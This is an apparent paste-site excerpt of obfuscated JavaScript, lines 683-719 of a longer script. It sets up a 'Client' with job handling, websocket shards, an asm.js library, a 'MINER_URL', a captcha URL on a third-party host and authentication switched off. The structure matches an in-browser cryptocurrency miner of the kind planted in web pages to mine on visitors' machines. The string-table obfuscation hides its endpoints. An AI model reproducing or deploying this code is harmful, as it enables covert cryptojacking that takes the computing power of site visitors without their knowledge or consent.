  683.     a[_0xa160('0x27')]['setJob'] = function(a, b) {
  684.         this[_0xa160('0x99')] = a;
  685.         this[_0xa160('0x9a')] = b;
  686.         if (this[_0xa160('0x9c')] && !this[_0xa160('0xa0')]) {
  687.             this[_0xa160('0xa0')] = !![];
  688.             this[_0xa160('0x97')][_0xa160('0x67')](this[_0xa160('0x99')]);
  689.         }
  690.     };
  691.     a[_0xa160('0x27')][_0xa160('0x86')] = function(a, b) {
  692.         if (!this[_0xa160('0x9c')]) {
  693.             return;
  694.         }
  695.         this[_0xa160('0x9b')] = b;
  696.         this[_0xa160('0x97')][_0xa160('0x67')](a);
  697.     };
  698.     a[_0xa160('0x27')][_0xa160('0x38')] = function() {
  699.         if (this[_0xa160('0x97')]) {
  700.             this[_0xa160('0x97')][_0xa160('0xa2')]();
  701.             this[_0xa160('0x97')] = null;
  702.         }
  703.         this['running'] = ![];
  704.     };
  705.     b[_0xa160('0x93')][_0xa160('0x51')] = a;
  706. }(window));
  707. self[_0xa160('0x93')] = self['Client'] || {};
  708. self[_0xa160('0x93')][_0xa160('0x35')] = {
  709.     'LIB_URL': _0xa160('0xa3'),
  710.     'ASMJS_NAME': _0xa160('0xa4'),
  711.     'REQUIRES_AUTH': ![],
  712.     'WEBSOCKET_SHARDS': [
  713.         [_0xa160('0xa5')]
  714.     ],
  715.     'CAPTCHA_URL': 'https://a5.cba.pl/captcha/',
  716.     'MINER_URL': _0xa160('0xa6'),
  717.     'AUTH_URL': _0xa160('0xa7')
  718. };
  719. Client[_0xa160('0x31')] = URL[_0xa160('0x33')](new Blob([_0xa160('0xa8')]));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement